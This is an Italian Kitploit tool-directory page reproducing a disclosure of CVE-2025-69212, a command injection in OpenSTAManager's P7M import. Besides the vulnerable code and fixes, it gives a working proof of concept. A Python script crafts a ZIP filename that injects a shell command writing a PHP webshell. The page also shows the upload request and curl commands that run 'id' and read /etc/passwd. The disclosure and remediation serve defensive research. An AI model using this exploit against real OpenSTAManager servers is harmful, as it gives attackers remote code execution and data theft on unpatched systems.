Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManager presenta un'Iniezione di Comandi del Sistema Operativo nell'Elaborazione dei File P7M | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2025-69212
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlSviluppo Payload
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManager presenta un'Iniezione di Comandi del Sistema Operativo nell'Elaborazione dei File P7M

Vedi Repository
44 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-69212: OpenSTAManager presenta un'iniezione di comandi del sistema operativo nell'elaborazione dei file P7M

Panoramica

CampoDettagli
ID CVECVE-2025-69212
GravitàCRITICA
Avviso di sicurezzaVisualizza l'avviso
Scoperto daLukasz Rybak

Prodotti interessati

  • devcode-it/openstamanager (versioni: <= 2.9.8)

Classificazione CWE

  • CWE-78: Neutralizzazione impropria di elementi speciali utilizzati in un comando del sistema operativo ('OS Command Injection')

Dettagli

Riepilogo

Una vulnerabilità critica di iniezione di comandi del sistema operativo è presente nella funzionalità di decodifica dei file P7M (XML firmato). Un attaccante autenticato può caricare un file ZIP contenente un file .p7m con un nome file dannoso per eseguire comandi di sistema arbitrari sul server.

Codice vulnerabile

File: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

Il problema:

  • Il parametro $file viene passato direttamente a exec() senza sanificazione
  • Sebbene sia racchiuso tra doppi apici, un attaccante può aggirarli
  • Il nome file proviene da archivi ZIP caricati (controllato dall'utente)

Vettore di attacco

Punti di ingresso:

  1. plugins/importFE_ZIP/actions.php:126 (quando l'importazione automatica è abilitata)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (costruttore)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

Flusso dell'attacco:

  1. L'attaccante crea uno ZIP con un nome file dannoso
  2. Carica lo ZIP tramite il plugin importFE_ZIP
  3. L'applicazione estrae lo ZIP e itera i file
  4. Per i file .p7m, viene chiamata decodeP7M()
  5. Il nome file dannoso viene iniettato nel comando exec()
  6. Il comando arbitrario viene eseguito come utente del server web

Prova di concetto

⚠️ NOTA IMPORTANTE: ZipArchive::extractTo() di PHP separa i nomi file in base al carattere /. Il payload NON deve contenere / nei comandi. Utilizzare cd directory && command invece di percorsi assoluti.

Passo 1: Creare uno ZIP dannoso

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Passo 2: Caricare lo ZIP

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

Passo 3: Risultato dello sfruttamento

Risposta (è previsto un errore 500 - l'analisi XML fallisce DOPO l'esecuzione del comando):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verifica - Webshell creata:

image

Passo 4: Esecuzione remota del codice

La webshell è accessibile pubblicamente senza autenticazione:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

Impatto

  • Esecuzione remota del codice: Compromissione totale del server
  • Esfiltrazione dei dati: Accesso a tutti i dati dell'applicazione e al database
  • Escalation dei privilegi: Possibile escalation se il server web viene eseguito con privilegi elevati
  • Persistenza: Installare backdoor e mantenere l'accesso
  • Movimento laterale: Spostarsi verso altri sistemi sulla rete

Prerequisiti

  • Utente autenticato con accesso alla funzionalità di importazione delle fatture

Correzione

Sanificazione dell'input

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

oppure

Convalidare il nome file prima dell'elaborazione

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Crediti

Scoperto da: Łukasz Rybak

Riferimenti

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

Esclusione di responsabilità

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui hanno esclusivamente scopo educativo e difensivo.

Scarica lo strumento